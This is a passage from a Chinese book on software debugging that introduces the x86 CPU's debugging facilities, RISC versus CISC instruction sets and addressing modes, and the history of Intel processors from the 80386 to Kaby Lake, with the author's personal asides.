作为全书的开篇,本章旨在为读者勾勒出一个关于软件调试的总体
轮廓,帮助读者建立一些初步的概念和印象。所以,本章的内容大多是
概括性的介绍,没有深入展开,如果读者不能理解其中的某些术语和概
念,也不必担心,因为后面章节中会有更详细的介绍。
参考资料
[1] Robert Charles Metzger. Debugging by Thinking[M]. Holland:
Elsevier Digital Press, 2003.
[2] G Pascal Zachary. Showstopper: The Breakneck Race to Create
Windows NT and the Next Generation at Microsoft[M]. New York: The Free
Press, 1994.
[3] Manual of Operations for UNIVAC System. Remington Rand Inc.,
1954.
第二篇 CPU及其调试设施
如果把程序(program)中的每一条指令看作电影胶片的一帧,那
么执行程序的CPU就像一台飞速运转的放映机。以英特尔P6系列CPU为
例,其处理能力大约在300(第一代产品Pentium Pro)~3000(奔腾
III)MIPS。MIPS的含义是CPU每秒钟能执行的指令数(以百万指令为
单位)。如果按3000MIPS计算,那么意味着每秒钟大约有30亿条指
令“流”过这台高速的“放映机”。这大约是电影胶片放映速度(24帧每
秒)的1.25亿倍。如此高的执行速度,如果在程序中存在错误或CPU内
部发生了错误,该如何调试呢?
CPU的设计者们一开始就考虑到了这个问题—— 如何在CPU中包含
对调试的支持。就像在制作电影过程中人们可以慢速放映或停下来分析
每一帧一样,CPU也提供了一系列机制,允许一条一条地执行指令,或
者使其停在指定的位置。
以英特尔的IA结构CPU为例,其提供的调试支持如下。
INT 3指令:又叫断点指令,当CPU执行到该指令时便会产生断点
异常,以便中断到调试器程序。INT 3指令是软件断点的实现基
础。
标志寄存器(EFLAGS)中的TF标志:陷阱标志位,当该标志为1
时,CPU每执行完一条指令就产生调试异常。陷阱标志位是单步执
行的实现基础。
调试寄存器DR0~DR7:用于设置硬件断点和报告调试异常的细
节。
断点异常(#BP):INT 3指令执行时会导致此异常,CPU转到该异
常的处理例程。异常处理例程会进一步将异常分发给调试器软件。
调试异常(#DB):当除INT 3指令以外的调试事件发生时,会导
致此异常。
任务状态段(TSS)的T标志:任务陷阱标志,当切换到设置了T标
志的任务时,CPU会产生调试异常,中断到调试器。
分支记录机制:用来记录上一个分支、中断和异常的地址等信息。
性能监视:用于监视和优化CPU及软件的执行效率。
JTAG支持:可以与JTAG调试器一起工作来调试单独靠软件调试器
无法调试的问题。
除了对调试功能的直接支持,CPU的很多核心机制也为实现调试功
能提供了硬件基础,比如异常机制、保护模式和性能监视功能等。
本篇首先将概括性地介绍CPU的基本概念和常识(第2章),包括
指令集、寄存器及保护模式等重要概念;然后介绍与调试功能密切相关
的中断和异常机制(第3章),包括异常的分类、优先级等。这两章的
内容旨在帮助读者了解现代CPU的概貌和重要特征,为理解本书后面的
章节打下基础。对CPU了解较少的读者,应该认真阅读这两章的内容。
其他读者则可以将这些内容作为复习资料和温故知新。第4章将详细讨
论软件断点、硬件断点和陷阱标志的工作原理,从CPU层次详细解析支
持常用调试功能的硬件基础。第5章将介绍CPU的分支监视、调试存储
和性能监视机制。第6章将介绍CPU的机器检查架构(Machine Check
Architecture,MCA),包括机器检查异常和处理方法等。第7章将介绍
JTAG原理和IA-32 CPU的JTAG支持。
第2章 CPU基础
CPU是Central Processing Unit的缩写,即中央处理单元,或者叫中
央处理器,有时也简称为处理器(processor)。第一款集成在单一芯片
上的CPU是英特尔公司于1969年开始设计并于1971年推出的4004,与当
时的其他CPU相比,它的体积可算是微乎其微,因此,人们把这种实现
在单一芯片上的CPU(Single-chip CPU)称为微处理器
(microprocessor)。目前,绝大多数(即使不是全部)CPU都是集成在
单一芯片上的,甚至多核技术还把多个CPU内核(core)集成在一块芯
片上,因此微处理器和处理器这两个术语也几乎被等同起来了。
尽管现代CPU的集成度不断提高,其结构也变得越来越复杂,但是
它在计算机系统中的角色仍然非常简单,那就是从内存中读取指令
(fetch instruction),然后解码(decode)和执行(execute)。指令是
CPU可以理解并执行的操作(operation),它是CPU能够“看懂”的唯一
语言。本章将以这一核心任务为线索,介绍关于CPU的基本知识和概
念。
老雷评点
读到这里,我不禁想起一位长者,一位和蔼的美国老头——
Tom Shanley,他没有在英特尔工作过,但却比大多数英特尔工
程师都更熟悉英特尔CPU,他多次到英特尔讲课,我有幸聆听两
次。上述说法当来自Tom对处理器角色之精炼概括:“Processor =
Instruction Fetch/Decode/Execute Engine”。从书架中取出Tom的皇
皇巨著《奔腾4全录:IA32处理器宗谱》(《The Unabridged
Pentium 4: IA32 Proces Genealogy》),看到Tom的亲笔签名,如
晤其人。
2.1 指令和指令集
某一类CPU所支持的指令集合简称为指令集(Instruction Set)。根
据指令集的特征,CPU可以划分为两大阵营,即RISC和CISC。
精简指令集计算机(Reduced Instruction Set Computer,RISC)是
IBM研究中心的John Cocke博士于1974年最先提出的。其基本思想是通
过减少指令的数量和简化指令的格式来优化和提高CPU执行指令的效
率。RISC出现后,人们很自然地把与RISC相对的另一类指令集称为复
杂指令集计算机(Complex Instruction Set Computer,CISC)。
RISC处理器的典型代表有SPARC处理器、PowerPC处理器、惠普公
司的PA-RISC处理器、MIPS处理器、Alpha处理器和ARM处理器等。
CISC处理器的典型代表有x86处理器和DEC VAX-11处理器等。第
一款x86处理器是英特尔公司于1978年推出的8086,其后的8088、
80286、80386、80486、奔腾处理器及AMD等公司的兼容处理器都是兼
容8086的,因此人们把基于该架构的处理器统称为x86处理器。
2.1.1 基本特征
下面将以比较的方式来介绍RISC处理器和CISC处理器的基本特征
和主要差别。除非特别说明,我们用ARM处理器代表RISC处理器,用
x86处理器代表CISC处理器。
第一,大多数RISC处理器的指令都是等长的(通常为4个字节,即
32比特),而CISC处理器的指令长度是不确定的,最短的指令是1个字
节,有些长的指令有十几个字节(x86)甚至几十个字节(VAX-11)。
定长的指令有利于解码和优化,其缺点是目标代码占用的空间比较大
(因为有些指令没必要用4字节)。对于软件调试而言,定长的指令有
利于实现反汇编和软件断点,我们将在4.1节详细介绍软件断点。这里
简要介绍一下反汇编。对于x86这样不定长的指令集,反汇编时一定要
从一条有效指令的第一个字节开始,依次进行,比如下面3条指令是某
个函数的序言。
0:000> u 47f000
image00400000+0x7f000:
0047f000 55 push ebp
0047f001 8bec mov ebp,esp
0047f003 6aff push 0FFFFFFFFh
上面是从正确的起始位置开始反汇编,结果是正确的,但是如果把
反汇编的起点向前调整两个字节,那么结果就会出现很大变化。
0:000> u 47effd
image00400000+0x7effd:
0047effd 0000 add byte ptr [eax],al
0047efff 00558b add byte ptr [ebp-75h],dl
0047f002 ec in al,dx
0047f003 6aff push 0FFFFFFFFh
这就是所谓的指令错位。为了减少这样的问题,编译器在编译时,
会在函数的间隙填充nop或者int 3等单字节指令,这样即使反汇编时误
从函数的间隙开始,也不会错位,可以帮助反汇编器顺利“上手”。而上
面的例子来自某个做过加壳保护的软件,这样的软件不愿意被反汇编,
所以故意在函数的间隙或者某些位置加上0来迷惑反汇编器。
第二,RISC处理器的寻址方式(addressing mode)比CISC要少很
多,我们稍后将单独介绍。
第三,与RISC相比,CISC处理器的通用寄存器(general register)
数量较少。例如16位和32位的x86处理器都只有8个通用寄存器:
AX/EAX、BX/EBX、CX/ECX、DX/EDX、SI/ESI、DI/EDI、BP/EBP、
SP/ESP(E开头为32位,为Extended之缩写),而且其中的BP/EBP和
SP/ESP常常被固定用来维护栈,失去通用性。64位的x86处理器增加了8
个通用寄存器(R8~R15),但是总量仍然远远小于RISC处理器(通常
多达32个)。寄存器位于CPU内部,可供CPU直接使用,与访问内存相
比,其效率更高。
第四,RISC的指令数量也相对较少。就以跳转指令为例,8086有
32条跳转指令(JA、JAE、JB、JPO、JS、JZ等),而ARM处理器只有
两条跳转指令(BLNV和BLEQ)。跳转指令对流水线执行很不利,因
为一旦遇到跳转指令,CPU就需要做分支预测(branch prediction),而
一旦预测失败,就要把已经执行的错误分支结果清理掉,这会降低CPU
的执行效率。但是丰富的跳转指令为编程提供了很多方便,这是CISC
处理器的优势。
第五,从函数(或子程序)调用(function/procedure call)来看,
二者也有所不同。RISC处理器因具有较多的寄存器,通常就有足够多
的寄存器来传递函数的参数。而在CISC中,即使用所谓的快速调用
(fast call)协定,也只能将两个参数用寄存器来传递,其他参数仍然需
要用栈来传递。从执行速度看,使用寄存器的速度更快。我们将在后面
关于调用协定的内容中进一步讨论函数调用的细节。
鉴于以上特征,RISC处理器的实现相对来说简单一些,这也是很
多低成本的供嵌入式系统使用的处理器大多采用RISC架构的一个原
因。关于RISC和CISC的优劣,一直存在着很多争论,采用两种技术的
处理器也在相互借鉴对方的优点。比如从P6系列处理器的第一代产品
Pentium Pro开始,英特尔的x86处理器就开始将CISC指令先翻译成等长
的微操作(micro-ops或µops),然后再执行。微操作与RISC指令很类
似,因此很多时候又被称为微指令。因此可以说今天的主流x86处理器
(不包括那些用于嵌入式系统的x86处理器)的内部已经具有了RISC的
特征。此外,ARM架构的v4版本引入了Thumb指令集,允许混合使用16
位指令和32指令,指令的长度由单一一种变为两种,程序员可以根据需
要选择短指令和长指令,不必再拘泥于一种长度,这样可使编译好的目
标程序更加紧凑。
2.1.2 寻址方式
指令由操作码(opcode)和0到多个操作数组成。寻址方式定义了
得到操作数的方式,是指令系统乃至CPU架构的关键特征。下面以x86
汇编语言为例简要介绍常见的寻址方式。
(1)立即寻址(immediate addressing):操作数直接跟在操作码
之后,作为指令的一部分存放在代码段里,比如在MOV AL, 5(机器码
B0 05)这条指令中,源操作数采用的就是立即寻址方式。
(2)寄存器寻址(register addressing):操作数被预先放在寄存器
中,指令中指定寄存器号,比如在MOV AX, BX(机器码8A C3)中,
源操作数使用的是寄存器寻址方式。
(3)直接寻址(direct addressing):操作数的有效地址(Effective
Address,EA)直接作为指令的一部分跟在操作码之后,比如在MOV
AX, [402128H](机器码B8 28 21 40 00)指令中,源操作数采用的就是
直接寻址方式。
(4)寄存器间接寻址(register indirect addressing):操作数的地
址被预先放在一个或多个寄存器中,比如ADD AX, [BX]这条指令是把
BX寄存器所代表地址中的值累加到AX寄存器中的,源操作数采用的就
是寄存器间接寻址方式。
间接寻址方式还有几种,这里不再一一列举。间接寻址方式为处理
表格和字符串等数据结构带来了很大的方便。例如,可以把表格或字符
串的起始地址放入一个基地址寄存器中,然后用一个变址寄存器指向各
个元素。但间接寻址带来的问题就是使指令格式变得复杂,导致解码和
优化的难度增大。为了避免这样的问题,RISC处理器通常只支持简单
的寻址方式,不支持间接寻址,不支持在一条指令中既访问内存又进行
数学运算(比如从内存中读出并累加到目标操作数,即ADD AX,
[BX])。
进一步来说,在ARM等RISC处理器中,运算指令在执行过程中是
不访问内存的,运算指令的所有操作数要么是立即数,要么就是被预先
加载(称为Load)寄存器中,而且执行结果也是先保存到寄存器中,然
后再根据需要写回内存(称为Store)。这种先加载再回存的模式是很多
RISC处理器的显著特征。因此,在ARM的官方文档中,我们可以看到
这样的说法——ARM是一种加载/回存的RISC架构(ARM is a load /
store RISC architecture)。这种设计模式的优点是涉及内存访问的指令
变得很少,有利于提高CPU执行流水线(pipeline)的效率。
2.1.3 指令的执行过程
图2-1以英特尔P6系列CPU(后文有详细介绍)为例简单显示了指
令在CPU中的执行过程。
图2-1 指令在CPU中的执行过程(P6处理器)
箭头1代表取指/解码单元(Fetch/Decode Unit)从高速缓存中读取
指令并解码成等长的微操作后放入指令池中(箭头2)。箭头3代表分
发/执行单元(Dispatch/Excute Unit)从指令池中挑选出等待执行的指令
分发到合适的执行单元中进行执行,执行单元执行后把结果再放回到指
令池中(箭头4)。箭头5代表回收单元(Retire Unit)检查指令池中的
指令状态,根据程序逻辑将临时执行结果按顺序永久化。《P6系列处理
器硬件开发者手册》[9]更详细地描述了以上过程,感兴趣的读者可以从
英特尔网站下载和阅读。
老雷评点
CPU厂商对CPU内部设计大多讳莫如深,以开放著称的英特
尔也不例外,P6实为一特例,英特尔官方发布了包含较多内部细
节的技术文档,此后不再有。这大概与P6团队的风格有关,老雷
于2003年加入英特尔时,公司中还流传着很多关于此团队的传奇
故事。
本节介绍了RISC和CISC指令集的概况,目的主要是让读者对整个
CPU世界有个概括性的了解。本节之后的小节将先详细介绍x86阵营中
的英特尔架构处理器和PC系统,然后介绍ARM架构。2.2节将先对英特
尔架构处理器做概括性的介绍。
2.2 英特尔架构处理器
英特尔架构(Intel Architecture,IA)处理器是对英特尔设计和生产
的x86系列32位和64位微处理器的总称。早期的32位架构通常称为IA-
32(或IA32),是Intel Architecture 32-bit的缩写,用来指代所有IA-32处
理器所使用的架构和共同特征。今天的大多数IA架构CPU都支持64位工
作模式,故称为Intel 64位技术,有时也称为Intel 64架构。本书用IA来
泛指IA-32和Intel 64架构。值得说明的是,Intel 64不同于IA-64,因为
IA-64指的是安腾(Itanium)架构。简单来说,IA = IA-32 + Intel 64,即
IA != IA-32 + IA-64。
老雷评点
此处名字别扭的根源是IA-64这个好名字被安腾架构占去,
只能一叹。
IA处理器的典型代表有80386、80486、Pentium(奔腾)、Pentium
Pro、PentiumⅡ、PentiumⅢ、Pentium 4(简称P4)、Pentium M、Core
Duo、Core 2 Duo及Celeron(赛扬)和Xeon(至强)处理器。其中
Pentium Pro、PentiumⅡ和PentiumⅢ因为都是基于共同的P6处理器内核
的,所以又被统称为P6系列处理器。赛扬和至强处理器分别是P6(奔腾
Ⅱ和奔腾Ⅲ)和P4等处理器针对低端和服务器市场的改进版本,从指令
和架构上看并没有根本的变化。于2006年推出的Core 2 Duo处理器采用
了针对多核特征设计的Intel Core Architeture,代表了CPU向多核方向发
展的趋势。
综上所述,我们可以把迄今为止的IA处理器概括为386系列、486系
列、奔腾系列、P6系列、P4系列和酷睿(Core)系列。因为本章及后面
的章节还经常要提到这些处理器,下面便按时间顺序简要概括它们的特
征。需要特别强调的是,以下介绍的只是与本书内容密切相关的特征,
并不是全部特征。
老雷评点
x86之名始于1978年6月8日发布的8086。2018年6月,在8086
发布40周年之际,英特尔特别限量发行主频高达5GHz的第8代酷
睿i7处理器,将其型号特别定义为8086K,并在6月8日以抽奖形
式赠送8086颗,以作纪念。
2.2.1 80386处理器
1985年10月,英特尔在推出80286三年半之后推出了80386(简称
386),它是x86系列处理器中的第一款32位处理器,被视为IA-32架构
的开始。尽管286最先引入了保护模式的概念,为运行多任务操作系统
打下了基础,但是386的推出才真正使基于x86处理器的多任务操作系统
(Windows)流行起来。386处理器引入的新特性主要如下。
32位地址总线,可以最多支持4GB的物理内存。
平坦内存模型(flat memory model),即每个应用程序可以使用地
址0~2321来索引4GB的平坦内存空间。因为4GB足以容纳大多数应
用程序的所有代码和数据,所以采用此模型后,可以把程序的所有
代码都放在一个段内,这样在跳转时便都是段内跳转,而不必考虑
段的界限。此前的实模式下一个段最大只有64KB,程序要维护多
个代码段和多个数据段,不得不考虑段间跳转和段边界等棘手问
题。
分页机制(paging),即以页为单位来组织内存,通过页表进行管
理,暂时不用的页可以交换到硬盘等外部存储器上,需要时再交换
回来。分页机制是实现虚拟内存的硬件基础。在386处理器中,每
个内存页的大小为4KB,Pentium处理器引入了大页面支持,可以
建立4MB的大内存页。分页机制是目前所有主流操作系统必须依赖
的硬件功能。值得说明的是,在Windows系统中禁用专门的分页文
件(paging file),并不代表Windows就不再依赖分页机制,文件映
射、栈增长等机制还是要依赖CPU的分页机制的。
调试寄存器,支持更强大的调试功能,我们将在第4章(见4.2节)
讨论其细节。
虚拟8086模式,使16位的8086/8088程序可以更高效地在32位处理
器中执行。
老雷评点
80386,英特尔崛起时的开山力作,奠定IA架构格局之经
典,前无古人,后亦少来者,其后各代多在提升速度,鲜有根本
之拓展。421页的80386编程手册(《Programmer’s Reference
Manual》),可谓字字珠玑,至今仍是学习IA的珍贵素材。
2.2.2 80486处理器
于1989年推出的80486处理器引入了以下特性。
在CPU内部集成高速缓存(cache)。486是第一个在芯片内部集成
一级高速缓存(L1 Cache)的IA-32处理器,此后的所有IA-32处理
器内部都有集成的一级高速缓存。
将数学协处理器(FPU)集成到CPU内。
内存对齐检查异常(alignment check exception,exception 17)。我
们将在第3章中详细讨论CPU的异常机制。
系统管理模式(System Management Mode,SMM),用于执行系
统管理功能,如电源管理、硬件控制或执行OEM设计的与平台相
关的固件程序(firmware)。需要说明的是,最先引入SMM支持的
英特尔CPU是386 SL,但是从486 DX开始SMM才被加入到所有IA-
32处理器中,成为IA-32架构的特征。
老雷评点
老雷于1993年与几位同学合购一台式机于上海之华山路,又
花100元车费运回闵行校区。其处理器即80486,总价9000余元。
2.2.3 奔腾处理器
从1993年开始,Pentium(奔腾)处理器陆续推出。奔腾处理器可
以说是IA-32处理器新一轮变革的开始,不但从名字上不再沿用80386、
80486这一惯例,而且从结构和性能上也有很大的突破。最重要的一点
就是引入第二条执行流水线,支持指令级的并行执行(instruction level
parallelism)。指令级的并行机制有助于更充分地利用处理器资源,在
主频保持不变的情况下大幅提升处理器的执行能力。奔腾以后的IA-32
处理器都延续了这一思想。或许是因为新一轮革新的开始,最早推出的
奔腾处理器和后来推出的奔腾处理器(不是指Pentium Pro和
PentiumⅡ、PentiumⅢ)除了主频上的差异外,其内部特征也有较大差
异。人们通常根据内核代号将这些不同特征的奔腾处理器分为P5、
P54C和P55C这三类。最早推出的P5内核奔腾处理器(主要有P60和
P66)引入的新特性主要如下。
数据总线的宽度从32位增加到64位,一次便可以从内存读取8个字
节的数据。
加入第二条执行流水线(execution pipeline),允许同时有两条指
令在解码和执行,因此每个时钟周期最多可以执行的指令数由以前
的一条提升为两条,该特征又被称为超标量(superscalar)架构。
因为指令间的相互依赖性,所以很多时候必须等待前面的指令执行
完毕,才能执行后面的指令,也就是两条流水线并不是总能同时在
使用。为了提高每条流水线的利用率,奔腾处理器第一次引入了分
支预测功能,即预测最可能的分支并提早解码和执行可能的分支。
内部(一级)高速缓存增加为16KB,其中8KB用于数据,8KB用于
代码。这也是第一次将数据高速缓存和代码高速缓存分开。
支持4MB的大页面内存,即除了4KB的内存页,还可以创建4MB的
大页面。
引入性能监视机制,可以监视内部事件(计数)和流水线的执行情
况。性能监视机制包括性能监视计数器、TSC(Time Stamp
Counter)寄存器和读取TSC寄存器的RDTSC指令等,我们将在第5
章(见5.3节)详细讨论。
引入内部错误探测功能,即机器检查架构(Machine Check
Architecture,MCA),包括BIST(Built In Self Test)和机器检查
异常等(见第6章)。
引入JTAG调试(IEEE 1149.1)支持(见第7章)。
双(多)处理器支持。
于1994年开始推出的P54C内核奔腾处理器(如P75、P90、P100、
P120、P133、P150、P166和P200)的一个最大的变化就是在处理器内
部加入了APIC,称为本地APIC(Local APIC)。APIC是Advanced
Programmable Interrupt Controller的缩写,即高级可编程中断控制器。本
地APIC除了负责接收来自处理器的中断管脚、内部中断源(比如内部
的温度传感器、性能计数器和APIC时钟)和外部IO APIC的中断,在多
处理器系统中还负责通过APIC串行总线(3根线组成)与其他处理器进
行通信。IO APIC是芯片组的一部分(通常集成在南桥内),负责接收
所有外部硬件中断,并翻译成消息发给处理中断的处理器。
于1996年10月推出的带有MMX(MultiMedia eXtensions)功能的奔
腾处理器(Intel Pentium with MMX Technology,奔腾MMX)使用的是
P55C内核,奔腾MMX在以下几方面做了增强。
支持MMX(MultiMedia eXtensions)技术,即通过单一指令处理多
个数据(Single Instruction Multiple Data,SIMD)的方式提高并行
运算能力,尤其是多媒体处理方面的性能。
一级高速缓存加倍(数据和代码各16KB)。
优化了分支预测单元和指令解码器。
引入了MSR(Model Specific Register)寄存器和访问MSR寄存器的
两条指令RDMSR及WRMSR,详见2.4节关于寄存器的介绍。
2.2.4 P6系列处理器
从1995年开始,英特尔相继推出了P6系列中的各款处理器。于1995
年11月推出的Pentium Pro处理器作为P6系列的第一款处理器引入了很多
此前x86处理器没有的重要属性。最值得一提的就是引入了类似RISC指
令的微操作(micro-ops):将原本的x86指令先翻译成等长的微操作后
再执行。这一革命性的变化带来很多好处,包括更有利于提高执行效率
和更适合多流水线执行等,其后的IA-32处理器都保持了这一特征。此
外,Pentium Pro处理器还引入了如下新特性。
首次在内部集成二级高速缓存(256KB或1MB)。
地址总线的宽度从32位增加到36位,从而可以最多寻址64GB物理
内存。这个特征又被称为PAE-36模式,即Physical Address
Extension 36-bit。
3路超标量微架构(3-way Superscalar Micro-Architecture),是指将
指令执行任务划分为3个相对独立的单元——取指/解码单元、分发/
执行单元和回收单元。解码单元的3个并行解码器首先将x86指令翻
译(分解)为等长的微操作,然后将微操作送入RAT(Register
Alias Table )单元对寄存器重命名(register renaming),目的是将
原本使用同一个寄存器的多条指令通过寄存器重命名令它们使用不
同的别名寄存器,以消除依赖性。接下来,再为每个微操作加上状
态信息后将它们放入指令池(instruction pool)。指令池又被称为
ROB(Re-Order Buffer)。分发单元的Reservation Station负责监视
ROB,将ROB中已经就绪(操作数齐备)的微操作通过5个端口之
一分配给执行单元去执行。因为ROB中的微操作只要状态就绪就可
以执行,所以指令的执行顺序和程序中的先后顺序可能是不一致
的,故这种执行方式被称为乱序执行(out of order execution)。回
收单元(Retire Unit)负责监视ROB中的微操作并将执行完毕的微
操作按照程序本来的顺序从ROB中移除。每次回收的结果会被写入
Retirement Register File(RRF)。每个时钟周期,回收单元最多可
以回收两条微操作。
投机取指/投机执行(speculative prefetch/speculative execution),
即根据分支预测(branch prediction)得出的预测结果在没有执行到
分支语句处就预先对最可能的分支进行取指和执行。这种投机式的
做法可以减少执行流水线的空闲,还可以进一步提高乱序执行的效
率。
去除了MMX支持(Pentium II又恢复)。
引入了内存类型范围寄存器(Memory Type and Range Register,
MTRR)。MTRR用以标识某一段内存区(物理内存空间)的内存
特征,比如只读、可写、是否应该高速缓存等。它共定义了5种内
存类型:分别是Uncacheable,简称UC,例如映射到内存空间中的
外部设备上的存储器;Write-Combining,简称WC,例如显存;
Write-Through,简称WT;Write-Protect,简称WP,例如复制到内
存中的原本存储在ROM中的BIOS代码;Write-Back,简称WB,例
如系统中的正常内存(RAM)。
于1997年5月推出的PentiumⅡ处理器(代号Klamath)的一大变化
是将Pentium Pro集成到芯片内的二级缓存移到芯片外的一块特制的电路
板(称为Single Edge Contact Cartridge——SECC)上。从架构上看,
PentiumⅡ与Pentium Pro的变化不大。
重新加入由Pentium引入但被Pentium Pro去掉了的MMX支持。
数据和指令高速缓存都从16KB提高到32KB。
增加了快速系统调用和返回(Fast System Call/Return)指令(见8.3
节)。
在奔腾Ⅱ处理器推出后不久,英特尔便将P6处理器划分为3个产品
线:针对中高端台式机市场的Pentium II处理器;面向工作站和服务器
市场的至强(Xeon)处理器;面向低端台式机市场的赛扬(Celeron)
处理器。这种模式一直延续至今。
于1999年2月推出的奔腾III处理器引入了以下新特征。
单指令多数据扩展(Streaming SIMD Extensions,SSE)。除了加
入70条新的指令,还引入8个128位的数据寄存器(XMM[7:0]),
可以对单精度浮点数进行SIMD运算。
增加了FXSAVE和FXRSTOR指令,可以把浮点运算单元(Floating
Point Unit,FPU)和SSE寄存器的数据保存到内存或从内存中恢复
回来。
于2003年3月推出的Pentium M处理器是专门为笔记本电脑等移动平
台(mobile platform)设计的,具有非常好的低功耗特征。于2006年推
出的Intel Core Duo处理器将两个CPU内核集成在一个物理处理器中。从
CPU架构和指令集的角度来看,这两种处理器仍是基于P6架构的。
2.2.5 奔腾4处理器
于2000年开始陆续推出的奔腾4处理器采用了与P6差异很大的被称
为NetBurst的超流水线微架构(Hyper-pipelines Micro-architecture),对
处理器内核进行了完全的重新设计。其主要特征如下。
流水线的级(stage)数由P6处理器的10级增加到20级(奔腾4
Prescott增为31级)。
超线程(Hyper-Threading,HT),即在一块CPU芯片内实现两个
处理器(被称为逻辑处理器)的功能,使两个线程可以同时执行。
加入了分支踪迹存储(Branch Trace Store,BTS)功能,使分支、
中断和异常记录功能更强大。
加入了SSE2指令(奔腾4 Prescott加入了SSE3指令)。
性能计数器从P6的两个增加到18个。
温度监控功能,当集成的温度传感器检测到内部温度超过跳变点
(trip point)时,会设置PROCHOT#信号通知温控电路(thermal
monitor circuit)。
P4的6xx系列和支持超线程的Extreme版本引入了EM64T(Extended
Memory 64 Technology)技术,通过IA-32e模式支持64位计算,IA-
32e的正式名字叫Intel 64位架构。
老雷评点
P4之内部设计(称为微架构)有火球(fireball)之称,英特
尔曾宣称此微架构允许的时钟频率最高可以达10GHz。但事与愿
违,实际只达到3.8GHz。老雷加入英特尔时,正值P4时代,对
当时CPU风扇体量之大、转速之高记忆犹新。
2.2.6 Core 2系列处理器
从2006年7月27日开始推出的Core 2系列处理器是基于称为第8代x86
架构的英特尔多核微架构(Intel Core Micro-architecture)的。典型的产
品有双核的Core 2 Duo CPU和四核的Core 2 Quad CPU。该系列CPU的主
要特征如下。
对P6引入的动态执行能力做了进一步增强,每个CPU内核在一个时
钟周期最多可以执行4条指令,称为Wide Dynamic Execution。
可以把某些常见的x86指令合并成一条微操作来执行,称为macro-
fusion。
继承和增强了Pentium M的低功耗设计。
增加了用于提高乱序执行效率的Memory Disambiguation机制,基于
IP指针的缓存预取机制统称为Intel Smart Memory Access技术。
2.2.7 Nehalem微架构
于2008年11月推出的Core i7处理器是基于Nehalem微架构的首款产
品。值得说明的是,i7是英特尔定义的i3、i5、i7这3条产品线中一条产
品线的名字。i7是这 3 条产品线中最高的一档。从此,对于每一代微架
构,通常都会按上面的这3条产品线发布多款产品。基于Nehalem的Core
i7是使用新产品线名称的第一代产品,因此它实际上是第一代Core i7。
但是当时并没有这么称呼,因此在英特尔的产品网站上,它被称为“前
一代”英特尔酷睿i7处理器(Previous Generation Intel® Core™ i7
Processor)。
Nehalem微架构引入的新特征主要如下。
为提高分支预测能力,增加二级分支目标缓冲区(second-level
branch target buffer)。
改进虚拟化技术(VT),支持扩展页表(Extended Page Table)。
进一步扩展了SSE技术,支持SSE4.2。
将本来位于北桥(也称MCH)中的内存控制器集成到CPU中。
系统接口方面,引入QuickPath互联技术,取代了使用多年的前端
总线技术(FSB)。
生产工艺上首次使用high-k材料。
2.2.8 Sandy Bridge微架构
2011年1月,英特尔推出了基于Sandy Bridge微架构的第二代Core i7
处理器,同时也推出了基于相同微架构的i5和i3产品。英特尔把这些产
品统称为第二代酷睿处理器,相应的Sandy Bridge微架构也被简称为第
二代酷睿微架构。这让包括bit-tech网站在内的不少人很困惑,他们觉得
英特尔搞错了,因为如果把2006年推出的Core架构算作第一代,
Nehalem应该是第二代,那么Sandy Bridge至少应该算第三代。关于这个
问题,英特尔似乎没有公开澄清过。在今天的文档中,很少有第一代酷
睿微架构的提法,都是把Sandy Bridge微架构称作第二代,它之前有3种
与酷睿之名有关的产品:最早使用酷睿(Core)名称的Core Duo和Core
Solo(从微架构角度讲,被称为Pentium M增强),2006年推出的Core 2
和Nehalem。不管怎么样,英特尔从Sandy Bridge微架构开始,正式使
用“第×代酷睿微架构”的说法,并且保持着每年推出一代的快速步伐。
Sandy Bridge微架构主要是由位于以色列的英特尔CPU团队研发
的,其主要特征如下。
进一步增强了SIMD能力,引入AVX(Advanced Vector
Extensions)技术。
将代号为HD 2000/3000的GPU和CPU集成到同一个晶片(die)中,
前者的名字也由英特尔集成显卡改称为Intel Processor Graphics。
将内存控制器(MCH)和CPU集成到一个晶片。
老雷评点
这一年5月,老雷从工作多年的平台部门转入英特尔的GPU
团队。
2.2.9 Ivy Bridge微架构
从2012年4月推出的第三代酷睿处理器内部使用的是Ivy Bridge微架
构,它与Sandy Bridge的变化不大,大多数开发工作也是在以色列完成
的,主要的改进如下。
生产工艺方面:使用22nm 3-D晶体管技术,功耗更低。
新增了随机数产生器和RdRand指令。
集成的GPU支持DirectX 11。
老雷评点
晨起,于衣柜中偶见当年庆祝Ivy Bridge发布的T恤衫,勾起
许多回忆。
老雷再评
当年庆祝Ivy Bridge发布时还得到一件特别的礼物—— 一块
基于Ivy Bridge微架构的I5 3450 CPU。此CPU在信封中躺了5年
多,直到2017年10月,它才有机会实际运行,虽然此时它已经不
再时尚,但是却刚好符合老雷调试某个特定问题的需要。
2.2.10 Haswell微架构
在2013年台北Computex大会上正式推出的第四代酷睿微架构的代号
为Haswell。其主要具有以下新特征。
更宽的执行流水线,新增两个微指令分发端口,每个时钟周期可以
分发的微指令从原来的6条提升为8条。
改进AVX技术,升级为AVX2。
新增Transactional Memory支持,简称TSX。
2.2.11 Broadwell微架构
第五代酷睿微架构的代号为Broadwell,在设计方面只是在Haswell
微架构上略加改进,而在生产工艺方面,则从22nm降低到14nm。产品
的推出时间是2015年第二季度。Broadwell引入的改进主要如下。
新增RDSEED指令,可以读取基于热噪声(shermal noise)产生的
随机数。
引入对抗恶意软件的Supervisor Mode Access Prevention(SMAP)
技术,用于防止内核态恶意软件窃取用空间信息。
2.2.12 Skylake微架构
于2015年8月推出的代号为Skylake的第六代酷睿微架构引入了多项
新技术,是IA历史上的又一力作。其主要开发工作仍是在英特尔的以色
列研发中心完成的,用时4年之久。Skylake具有如下新特征。
旨在提高系统安全性的Intel MPX(Memory Protection Extensions)
技术。
允许应用程序产生私密内存区(称为enclave)的Intel
SGX(Software Guard Extensions)技术。
集成了第9代(Gen9)英特尔GPU,支持DirectX 12和完全的HEVC
编解码硬件加速。
强大的实时指令追踪(RTIT)技术,详见第5章。
老雷评点
在英特尔内部关于CPU研发的DTTC会议中,老雷首次听到
RTIT技术,认识了负责该技术的以色列同事,并与他们探讨了
关于调试支持的一些话题。
2.2.13 Kaby Lake微架构
英特尔原本计划接替Skylake的下一代产品是基于10nm工艺的
Cannonlake,但是遇到困难,作为弥补方案,于2017年年初推出了Kaby
Lake 微架构的第七代酷睿处理器。在作者撰写本书中的GPU内容时,
使用的笔记本电脑配备的是Kaby Lake处理器,内部的GPU是Gen 9.5。
本书中关于处理器的内容大多是针对以上描述的IA处理器的,但是
关于这些处理器的功能和结构的系统介绍远远超出了本书的范围。了解
IA处理器的一个极佳途径就是阅读英特尔公司的《英特尔64和IA-32架
构软件开发者手册》(《Intel 64 and IA-32 Intel®Architecture Software
